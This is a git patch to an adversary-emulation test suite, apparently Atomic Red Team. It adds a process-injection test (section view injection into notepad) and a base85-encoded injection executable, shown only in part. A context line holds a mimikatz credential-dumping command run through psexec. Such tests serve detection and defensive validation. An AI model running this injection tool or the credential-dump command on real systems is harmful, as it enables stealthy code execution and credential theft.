From 43a42402afcf9f7993e68abd34dfc452973f816f Mon Sep 17 00:00:00 2001 From: tr4cefl0w Date: Tue, 10 Jan 2023 23:36:25 +0000 Subject: [PATCH] adding Section View injection (#2275) --- atomics/T1055/T1055.yaml | 13 ++ atomics/T1055/bin/x64/InjectView.exe | Bin 0 -> 125440 bytes atomics/T1055/src/x64/InjectView/InjectView.c | 210 ++++++++++++++++++ atomics/T1055/src/x64/InjectView/build.bat | 1 + 4 files changed, 224 insertions(+) create mode 100644 atomics/T1055/bin/x64/InjectView.exe create mode 100644 atomics/T1055/src/x64/InjectView/InjectView.c create mode 100644 atomics/T1055/src/x64/InjectView/build.bat diff --git a/atomics/T1055/T1055.yaml b/atomics/T1055/T1055.yaml index 42430c0b..73ae4208 100644 --- a/atomics/T1055/T1055.yaml +++ b/atomics/T1055/T1055.yaml @@ -95,3 +95,16 @@ atomic_tests: #{psexec_path} /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa /inject /id:500" "exit" name: command_prompt elevation_required: false # locally not, but remotely on target machine then yes +- name: Section View Injection + description: | + This test creates a section object in the local process followed by a local section view. + The shellcode is copied into the local section view and a remote section view is created in the target process, pointing to the local section view. + A thread is then created in the target process, using the remote section view as start address. + supported_platforms: + - windows + executor: + command: | + $notepad = Start-Process notepad -passthru + Start-Process $PathToAtomicsFolder\T1055\bin\x64\InjectView.exe + cleanup_command: Stop-Process $notepad.pid + name: powershell diff --git a/atomics/T1055/bin/x64/InjectView.exe b/atomics/T1055/bin/x64/InjectView.exe new file mode 100644 index 0000000000000000000000000000000000000000..e8898a6b9958d9def5a0cab15bf7d5e593813948 GIT binary patch literal 125440 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 